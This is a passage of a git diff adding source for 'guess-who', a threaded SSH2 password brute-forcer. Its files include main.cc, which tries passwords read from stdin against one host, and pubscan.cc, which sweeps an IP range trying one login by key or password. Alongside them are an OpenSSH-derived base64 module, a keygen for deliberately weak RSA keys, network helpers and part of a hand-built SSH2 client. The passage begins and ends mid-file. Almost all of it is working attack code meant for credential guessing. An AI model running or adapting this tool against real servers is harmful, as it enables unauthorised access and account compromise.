specific, written prior + * permission. + * + * To the extent it has a right to do so, IBM grants an immunity from suit + * under its patents, if any, for the use, sale or manufacture of products to + * the extent that such products are used for performing Domain Name System + * dynamic updates in TCP/IP networks by means of the Software. No immunity is + * granted for any product per se or for any other function of any product. + * + * THE SOFTWARE IS PROVIDED "AS IS", AND IBM DISCLAIMS ALL WARRANTIES, + * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE. IN NO EVENT SHALL IBM BE LIABLE FOR ANY SPECIAL, + * DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER ARISING + * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE, EVEN + * IF IBM IS APPRISED OF THE POSSIBILITY OF SUCH DAMAGES. + */ + +#if !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) + +#include +#include +#include +#include +#include + +#include +#include + +#include +#include + +#include "base64.h" + +#define Assert(Cond) if (!(Cond)) abort() + +static const char Base64[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static const char Pad64 = '='; + +/* (From RFC1521 and draft-ietf-dnssec-secext-03.txt) + The following encoding technique is taken from RFC 1521 by Borenstein + and Freed. It is reproduced here in a slightly edited form for + convenience. + + A 65-character subset of US-ASCII is used, enabling 6 bits to be + represented per printable character. (The extra 65th character, "=", + is used to signify a special processing function.) + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8-bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + + Each 6-bit group is used as an index into an array of 64 printable + characters. The character referenced by the index is placed in the + output string. + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a quantity. When fewer than 24 input + bits are available in an input group, zero bits are added (on the + right) to form an integral number of 6-bit groups. Padding at the + end of the data is performed using the '=' character. + + Since all base64 input is an integral number of octets, only the + ------------------------------------------------- + following cases can arise: + + (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded + output will be an integral multiple of 4 characters + with no "=" padding, + (2) the final quantum of encoding input is exactly 8 bits; + here, the final unit of encoded output will be two + characters followed by two "=" padding characters, or + (3) the final quantum of encoding input is exactly 16 bits; + here, the final unit of encoded output will be three + characters followed by one "=" padding character. + */ + +int +b64_ntop(u_char const *src, size_t srclength, char *target, size_t targsize) +{ + size_t datalength = 0; + u_char input[3]; + u_char output[4]; + unsigned int i; + + while (2 < srclength) { + input[0] = *src++; + input[1] = *src++; + input[2] = *src++; + srclength -= 3; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + output[3] = input[2] & 0x3f; + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + Assert(output[3] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + target[datalength++] = Base64[output[2]]; + target[datalength++] = Base64[output[3]]; + } + + /* Now we worry about padding. */ + if (0 != srclength) { + /* Get what's left. */ + input[0] = input[1] = input[2] = '\0'; + for (i = 0; i < srclength; i++) + input[i] = *src++; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + if (srclength == 1) + target[datalength++] = Pad64; + else + target[datalength++] = Base64[output[2]]; + target[datalength++] = Pad64; + } + if (datalength >= targsize) + return (-1); + target[datalength] = '\0'; /* Returned value doesn't count \0. */ + return (datalength); +} + +/* skips all whitespace anywhere. + converts characters, four at a time, starting at (or after) + src from base - 64 numbers into three 8 bit bytes in the target area. + it returns the number of data bytes stored at the target, or -1 on error. + */ + +int +b64_pton(char const *src, u_char *target, size_t targsize) +{ + int state, ch; + unsigned int tarindex; + char *pos; + + state = 0; + tarindex = 0; + + while ((ch = *src++) != '\0') { + if (isspace(ch)) /* Skip whitespace anywhere. */ + continue; + + if (ch == Pad64) + break; + + pos = strchr(Base64, ch); + if (pos == 0) /* A non-base64 character. */ + return (-1); + + switch (state) { + case 0: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] = (pos - Base64) << 2; + } + state = 1; + break; + case 1: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 4; + target[tarindex+1] = ((pos - Base64) & 0x0f) + << 4 ; + } + tarindex++; + state = 2; + break; + case 2: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 2; + target[tarindex+1] = ((pos - Base64) & 0x03) + << 6; + } + tarindex++; + state = 3; + break; + case 3: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] |= (pos - Base64); + } + tarindex++; + state = 0; + break; + } + } + + /* + * We are done decoding Base-64 chars. Let's see if we ended + * on a byte boundary, and/or with erroneous trailing characters. + */ + + if (ch == Pad64) { /* We got a pad char. */ + ch = *src++; /* Skip it, get next. */ + switch (state) { + case 0: /* Invalid = in first position */ + case 1: /* Invalid = in second position */ + return (-1); + + case 2: /* Valid, means one byte of info */ + /* Skip any number of spaces. */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + break; + /* Make sure there is another trailing = sign. */ + if (ch != Pad64) + return (-1); + ch = *src++; /* Skip the = */ + /* Fall through to "single trailing =" case. */ + /* FALLTHROUGH */ + + case 3: /* Valid, means two bytes of info */ + /* + * We know this char is an =. Is there anything but + * whitespace after it? + */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + return (-1); + + /* + * Now make sure for cases 2 and 3 that the "extra" + * bits that slopped past the last full byte were + * zeros. If we don't check them, they become a + * subliminal channel. + */ + if (target && target[tarindex] != 0) + return (-1); + } + } else { + /* + * We ended by seeing the end of the string. Make sure we + * have no partial bytes lying around. + */ + if (state != 0) + return (-1); + } + + return (tarindex); +} + +#endif /* !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) */ diff --git a/other/guess-who/base64.h b/other/guess-who/base64.h new file mode 100644 index 0000000..97b1d43 --- /dev/null +++ b/other/guess-who/base64.h @@ -0,0 +1,17 @@ +/* From OpenSSH */ + +#ifndef _BSD_BASE64_H +#define _BSD_BASE64_H + + +#ifndef HAVE___B64_NTOP +# ifndef HAVE_B64_NTOP +int b64_ntop(u_char const *src, size_t srclength, char *target, + size_t targsize); +int b64_pton(char const *src, u_char *target, size_t targsize); +# endif /* !HAVE_B64_NTOP */ +# define __b64_ntop b64_ntop +# define __b64_pton b64_pton +#endif /* HAVE___B64_NTOP */ + +#endif /* _BSD_BINRESVPORT_H */ diff --git a/other/guess-who/keygen.cc b/other/guess-who/keygen.cc new file mode 100644 index 0000000..3e2af93 --- /dev/null +++ b/other/guess-who/keygen.cc @@ -0,0 +1,119 @@ +/* Key generator for rsa keys (SSH2!) + * (C) 2002 Sebastian Krahmer. + * WARNING: theres no random is the keys, so + * THE GENERATED KEYS ARE WEAK! Do not use it to + * generate your pubkeys, this program is for debugging only. + */ +#include +#include +#include + +extern "C" { +#include +#include +#include +#include +} + +#include + +#include "base64.h" +#include "misc.h" + + +int rsa2blob(RSA *key, unsigned char *buf, size_t buflen) +{ + size_t blen = buflen; + int h; + unsigned char *tmp; + + if (blen < 4) + return -1; + + if (key->e->neg || key->n->neg) + printf("AAA"); + + size_t l = strlen("ssh-rsa"); + unsigned char *ptr = buf; + *(unsigned int*)ptr = htonl(l); + ptr += 4; blen -= 4; + if (blen < l) + return -1; + memcpy(ptr, "ssh-rsa", l); // HAH! + ptr += l; blen -= l; + + unsigned int n = BN_num_bytes(key->e); + if (blen < n+1+4) + return -1; + + tmp = new unsigned char [n]; + BN_bn2bin(key->e, tmp); + h = (tmp[0] & 0x80) ? 1 : 0; + *(unsigned int*)ptr = htonl(n+h); + ptr += 4; blen -= 4; + *ptr = 0; + memcpy(ptr+h, tmp, n); + ptr += n; blen -= n; + ptr += h; blen -= h; + delete [] tmp; + + n = BN_num_bytes(key->n); + if (blen < n+1+4) + return -1; + + tmp = new unsigned char [n]; + BN_bn2bin(key->n, tmp); + h = (tmp[0] & 0x80) ? 1 : 0; + *(unsigned int*)ptr = htonl(n+h); + ptr += 4; blen -= 4; + *ptr = 0; + memcpy(ptr+h, tmp, n); + ptr += n; blen -= n; + ptr += h; blen -= h; + delete [] tmp; + + return ptr-buf; +} + + +int main(int argc, char **argv) +{ + + if (argc < 3) { + fprintf(stderr, "Usage: %s \n", + *argv); + return -1; + } + + RSA *r; + int bits = atoi(argv[1]); + r = RSA_generate_key(bits, 35, NULL, NULL); + + FILE *f = fopen(argv[2], "w"); + if (!f) + die("fopen"); + + PEM_write_RSAPrivateKey(f, r, NULL, NULL, 0, NULL, NULL); + fclose(f); + + unsigned char key_string[1024]; + char uu_key_string[2049]; + memset(uu_key_string, 0, sizeof(uu_key_string)); + memset(key_string, 0, sizeof(key_string)); + + int n = rsa2blob(r, key_string, sizeof(key_string)); + printf("%d\n", n); + if (n < 0) + die("Not enough memory to store key."); + b64_ntop(key_string, n, uu_key_string, 2*n); + + f = fopen(argv[3], "w"); + if (!f) + die("fopen"); + + fprintf(f, "ssh-rsa %s icke@dort\n", uu_key_string); + fclose(f); + + return 0; +} + diff --git a/other/guess-who/main.cc b/other/guess-who/main.cc new file mode 100644 index 0000000..84c2422 --- /dev/null +++ b/other/guess-who/main.cc @@ -0,0 +1,166 @@ +/* + * Copyright (C) 2002,2003 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include +#include + +extern "C" { +#include +} +#include "thread.h" +#include "misc.h" +#include "ssh.h" + +using namespace std; + +pthread_mutex_t map_lock = PTHREAD_MUTEX_INITIALIZER; +map n_locks; + + +unsigned long my_id() +{ + return (unsigned long)pthread_self(); +} + + +void my_locking(int mode, int n, const char *file, int line) +{ + pthread_mutex_t *l = NULL; + + if (mode & CRYPTO_LOCK) { + pthread_mutex_lock(&map_lock); + if (n_locks.find(n) == n_locks.end()) { + l = new pthread_mutex_t; + pthread_mutex_init(l, NULL); + n_locks[n] = l; + } else + l = n_locks[n]; + pthread_mutex_lock(l); + pthread_mutex_unlock(&map_lock); + } else { + pthread_mutex_lock(&map_lock); + pthread_mutex_unlock(n_locks[n]); + pthread_mutex_unlock(&map_lock); + } +} + + +void usage() +{ + printf("\nguess-who SSH2 parallel passwd bruter (C) 2002 by " + "krahmer@cs.uni-potsdam.de\n\n" + "Usage: ./a.out <-l login> <-h host> [-p port] <-1|-2> " + "[-N nthreads] [-n ntries]\n" + "Use -1 for producer/consumer thread model, -2 for dumb " + "parallelism. Passwds go on stdin. :)\n\n"); + exit(1); +} + + +int main(int argc, char **argv) +{ + + int c; + int mode = 0, nthreads = 10; + thread_data td; + + td.port = 22; + td.tries = 6; + + while ((c = getopt(argc, argv, "l:h:p:12N:n:")) != -1) { + switch (c) { + case 'n': + td.tries = atoi(optarg); + break; + case 'l': + td.login = optarg; + break; + case 'h': + td.host = optarg; + break; + case 'p': + td.port = atoi(optarg); + break; + case '1': + mode = 1; + break; + case '2': + mode = 2; + break; + case 'N': + nthreads = atoi(optarg); + break; + default: + usage(); + } + } + + if (td.login.size() == 0 || td.host.size() == 0 || mode == 0 || + (mode == 2 && nthreads == 0)) + usage(); + + CRYPTO_set_locking_callback(my_locking); + CRYPTO_set_id_callback(my_id); + + now = time(NULL); + + if (mode == 1) { + pthread_t tid1, tid2; + + pthread_create(&tid1, NULL, producer_thread, &td); + pthread_create(&tid2, NULL, consumer_thread, &td); + + void *vp; + pthread_join(tid1, &vp); + pthread_join(tid2, &vp); + } else { + vector tids; + tids.resize(nthreads); + + for (int i = 0; i < nthreads; ++i) { + pthread_t *tid = new pthread_t; + pthread_create(tid, NULL, single_try, &td); + tids[i] = tid; + } + void *vp; + for (int i = 0; i < nthreads; ++i) { + pthread_join(*tids[i], &vp); + delete tids[i]; + } + } + + return 0; +} + diff --git a/other/guess-who/misc.cc b/other/guess-who/misc.cc new file mode 100644 index 0000000..b61417c --- /dev/null +++ b/other/guess-who/misc.cc @@ -0,0 +1,178 @@ +/* + * Copyright (C) 2002 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +void die(const char *s) +{ + perror(s); + exit(errno); +} + + +int writen(int fd, const void *buf, size_t len) +{ + int o = 0, n; + char *ptr = (char*)buf; + + while (len > 0) { + if ((n = write(fd, ptr+o, len)) < 0) + return n; + len -= n; + o += n; + } + return o; +} + + +/* Simple tcp_connect(). Disables Nagle. + */ +int tcp_connect(const char *host, u_short port = 22) +{ + int sock, one = 1, len = sizeof(one), r; + char service[20]; + struct addrinfo *res, hints = {0, PF_INET, SOCK_STREAM, 0}; + + if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) + die("sock"); + + sprintf(service, "%d", port); + if ((r = getaddrinfo(host, service, &hints, &res)) != 0) { + fprintf(stderr, "tcp_connect::getaddrinfo: %s\n", gai_strerror(r)); + exit(EXIT_FAILURE); + } +#ifdef DONT_BLOCK + int f = fcntl(sock, F_GETFL); + f |= O_NONBLOCK; + if (fcntl(sock, F_SETFL, f) < 0) + die("fcntl"); +#endif + if (connect(sock, res->ai_addr, res->ai_addrlen) < 0 && + errno != EINPROGRESS) + return -1; +#ifdef DONT_BLOCK + struct timeval tv; + tv.tv_sec = 2; + tv.tv_usec = 0; + fd_set rset; + FD_ZERO(&rset); FD_SET(sock, &rset); + if (select(sock+1, &rset, &rset, NULL, &tv) <= 0) { + close(sock); + return -1; + } + + // fetch pending error + int pe = 0; size_t pe_len = sizeof(pe); + if (getsockopt(sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) + die("getsockopt"); + if (pe != 0) { + errno = pe; + close(sock); + return -1; + } + + if (fcntl(sock, F_SETFL, f&~O_NONBLOCK) < 0) + die("fcntl"); +#endif + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0) + die("setsockopt"); + + freeaddrinfo(res); + return sock; +} + +void buffer_dump(const char *desc, unsigned char *buffer, size_t blen) +{ + unsigned int i; + + printf("%s=\n", desc); + for (i = 0; i < blen; i++) { + printf("%02x", buffer[i]); + if (i%16==15) + printf("\r\n"); + else if (i%2==1) + printf(" "); + } + printf("\r\n"); +} + + +/* accept "1.2.3.4" or "1.2.3.4-5.6.7.8". + * use old := 0 to get first address, and pass + * return value in subsequent calls as 'old'. + * returns 0 when no more adresses. + */ +int next_ip(char *addr, unsigned long old) +{ + char *ptr; + unsigned long ip, eip, sip; + + assert(addr); + + if (old == 0xffffffff) + return -1; + + if ((ptr = strchr(addr, '-')) != NULL) { + *ptr++ = 0; + eip = inet_addr(ptr); + sip = inet_addr(addr); + ptr[-1] = '-'; + } else { + eip = inet_addr(addr); + if (eip == old) + return -1; + return eip; + } + + if (old == 0) + return sip; + if (ntohl(old)+1 > ntohl(eip)) + return -1; + + ip = htonl(ntohl(old)+1); + return ip; +} + + diff --git a/other/guess-who/misc.h b/other/guess-who/misc.h new file mode 100644 index 0000000..866e148 --- /dev/null +++ b/other/guess-who/misc.h @@ -0,0 +1,48 @@ +/* + * Copyright (C) 2002 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#ifndef __misc_h__ +#define __misc_h__ + +#include + +int writen(int fd, const void *buf, size_t len); + +int tcp_connect(const char *host, unsigned short port = 22); + +void die(const char *s); + +void buffer_dump(const char *desc, unsigned char *buffer, size_t blen); + +int next_ip(char *addr, unsigned long old); + +#endif + diff --git a/other/guess-who/pubscan.cc b/other/guess-who/pubscan.cc new file mode 100644 index 0000000..9a7cd29 --- /dev/null +++ b/other/guess-who/pubscan.cc @@ -0,0 +1,193 @@ +/* + * Copyright (C) 2003 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "ssh.h" +#include "misc.h" +#include "thread.h" + +using namespace std; + +void *try_pubkey(void *); +static char range[128]; + +void usage(const char *s) +{ + printf("Usage: %s <-n threads> <-l login> <-k pubkeyfile> " + "<-r ip-range> [-p port]\n\n", s); + exit(1); +} + + +int main(int argc, char **argv) +{ + int c, nthreads = 10, i = 0; + thread_data td; + + td.port = 22; + td.passwd = false; + + while ((c = getopt(argc, argv, "n:l:k:r:p:P")) != -1) { + switch (c) { + case 'P': + td.passwd = true; + break; + case 'r': + td.host = optarg; + snprintf(range, sizeof(range), "%s", optarg); + break; + case 'l': + td.login = optarg; + break; + case 'k': + td.keyfile = optarg; + break; + case 'p': + td.port = atoi(optarg); + break; + case 'n': + nthreads = atoi(optarg); + break; + default: + usage(*argv); + } + } + + if (td.login.size() == 0 || td.keyfile.size() == 0 || + td.host.size() == 0) + usage(*argv); + + vector tids(nthreads); + + for (i = 0; i < nthreads; ++i) { + pthread_t *tid = new pthread_t; + pthread_create(tid, NULL, try_pubkey, &td); + tids[i] = tid; + } + for (i = 0; i < nthreads; ++i) { + pthread_join(*tids[i], NULL); + delete tids[i]; + } + + return 0; +} + + +unsigned int last_ip = 0; +pthread_mutex_t last_ip_lock = PTHREAD_MUTEX_INITIALIZER; +pthread_mutex_t cout_lock = PTHREAD_MUTEX_INITIALIZER; + + +void *try_pubkey(void *vp) +{ + thread_data *td = (thread_data*)vp; + char host[128]; + struct in_addr in; + int fd = -1, r = 0; + + while (1) { + SSH2 ssh; // need it here, so it is constructed + // in every loop cycle + pthread_mutex_lock(&last_ip_lock); + last_ip = next_ip(range, last_ip); + pthread_mutex_unlock(&last_ip_lock); + + if (last_ip == -1) + break; + if ((last_ip & 0xff000000) == 0xff000000 || + (last_ip & 0xff000000) == 0) + continue; + + memcpy(&in.s_addr, &last_ip, 4); + if (inet_ntop(AF_INET, &in, host, sizeof(host)) < 0) + continue; + + close(fd); + if ((fd = tcp_connect(host, td->port)) < 0) { + if (errno != ECONNREFUSED && errno != EINPROGRESS) { + cerr<<"Host "<passwd) + r=ssh.userauth_passwd(td->login.c_str(), + td->keyfile.c_str()); + else + r=ssh.userauth_pubkey(td->login.c_str(), + td->keyfile.c_str()); + if (r < 0) { + cerr< +#include +#include +#include +#include +#include +#include +#include + +extern "C" { +#include +#include +#include +#include +#include +}; + +#include + +#include "ssh.h" +#include "misc.h" +#include "base64.h" + +using namespace std; + +DH *dh_new_group_asc(const char *gen, const char *modulus) +{ + DH *dh; + + dh = DH_new(); + if (dh == NULL) + fprintf(stderr, "DH_new returned NULL"); + + if (BN_hex2bn(&dh->p, modulus) == 0) + fprintf(stderr, "BN_hex2bn (p) returned 0"); + if (BN_hex2bn(&dh->g, gen) == 0) + fprintf(stderr, "BN_hex2bn (g) returned 0"); + + return (dh); +} + +/* + * This just returns the group, we still need to generate the exchange + * value. + */ + +DH *dh_new_group(BIGNUM *gen, BIGNUM *modulus) +{ + DH *dh; + + dh = DH_new(); + if (dh == NULL) + fprintf(stderr, "DH_new returned NULL"); + dh->p = modulus; + dh->g = gen; + + return (dh); +} + +DH *dh_new_group1(void) +{ + static char *gen = "2", *group1 = + "FFFFFFFF" "FFFFFFFF" "C90FDAA2" "2168C234" "C4C6628B" "80DC1CD1" + "29024E08" "8A67CC74" "020BBEA6" "3B139B22" "514A0879" "8E3404DD" + "EF9519B3" "CD3A431B" "302B0A6D" "F25F1437" "4FE1356D" "6D51C245" + "E485B576" "625E7EC6" "F44C42E9" "A637ED6B" "0BFF5CB6" "F406B7ED" + "EE386BFB" "5A899FA5" "AE9F2411" "7C4B1FE6" "49286651" "ECE65381" + "FFFFFFFF" "FFFFFFFF"; + + return (dh_new_group_asc(gen, group1)); +} + + +int SSH2::packet_write(const void *buf, size_t buflen) +{ + unsigned char packet[32768], pad[16], + padding, mac[20]; + unsigned char *ptr = packet, *enc_packet = NULL; + unsigned short paylen = 0; + size_t mac_len = sizeof(mac); + int r; + + assert(buflen < 32000); + + padding = 8 - ((buflen+1+4) % 8); + if (padding < 4) + padding += 8; + *(u_int32_t*)ptr = htonl(buflen+1+padding); // paylen + ptr += sizeof(u_int32_t); + paylen += sizeof(u_int32_t); + *ptr = padding; + ++ptr; + ++paylen; + memcpy(ptr, buf, buflen); + ptr += buflen; + paylen += buflen; + memcpy(ptr, pad, padding); + paylen += padding; + ptr += paylen; + + if (use_crypto) { + HMAC_CTX c; + u_int32_t s = htonl(seq); + HMAC_Init(&c, s_mac, sizeof(s_mac), EVP_sha1()); + HMAC_Update(&c, (unsigned char*)&s, sizeof(s)); + HMAC_Update(&c, packet, paylen); + HMAC_Final(&c, mac, &mac_len); + } + + ++seq; // one more packet written + if (debug > 0) + fprintf(stderr, "sending %d byte (%d padding) ", paylen, padding); + + if (use_crypto) { + if (debug > 0) + fprintf(stderr, "crypted\n"); + enc_packet = new unsigned char[paylen+mac_len]; + des_ede3_cbc_encrypt(packet, enc_packet, paylen, + s_key1, s_key2, s_key3, + &s_iv, DES_ENCRYPT); + memcpy(enc_packet+paylen, mac, mac_len); + r = writen(peer, enc_packet, paylen+mac_len); + delete [] enc_packet; + } else { + if (debug > 0) + fprintf(stderr, "plain\n"); + r = writen(peer, packet, paylen); + if (r <= 0) { + error = "SSH2::packet_write::write(): "; + error += strerror(errno); + } + } + return r; +} + + +// return the number bytes read or -1 on error +// puts length of payload in n. packet may be trunced if +// plen < 32768 +int SSH2::packet_read(unsigned char *plain_buf, size_t pblen, size_t *n) +{ + unsigned char buf[32768], *ptr = NULL; + unsigned char dec_packet[32768]; + + int r; + + if ((r = read(peer, buf, sizeof(buf))) <= 0) { + error = "SSH2::packet_read::read() "; + error += strerror(errno); + return -1; + } + + // maybe TODO: check MAC + if (use_crypto) { + if (r - 20 < 0) { + error = "SSH2::read_packet: Invalid packet "; + return -1; + } + des_ede3_cbc_encrypt(buf, dec_packet, r-20, + r_key1, r_key2, r_key3, + &r_iv, DES_DECRYPT); + ptr = dec_packet; + } else + ptr = buf; + + *n = ntohl(*(u_int32_t*)ptr); + ptr += sizeof(u_int32_t); + *n -= *ptr; // minus paylen + --*n; // minus one + if (*n > (size_t)r) { + error = "SSH2::packet_read: bad packet size"; + return -1; + } + + ++ptr; + memcpy(plain_buf, ptr, pblen < *n ? pblen : *n); + return r; +} + + +int SSH2::banner_exchange() +{ + int r; + char buf[1024], banner[] = "SSH-2.0-guess-who\r\n"; + + // Add V_C to hash input + to_hash_len = strlen(banner)-2 + sizeof(u_int32_t); + to_hash = (unsigned char*)realloc(to_hash, to_hash_len); + *(u_int32_t*)to_hash = htonl(strlen(banner)-2); + memcpy(&to_hash[sizeof(u_int32_t)], banner, strlen(banner)-2); + + memset(buf, 0, sizeof(buf)); + if ((r = read(peer, buf, 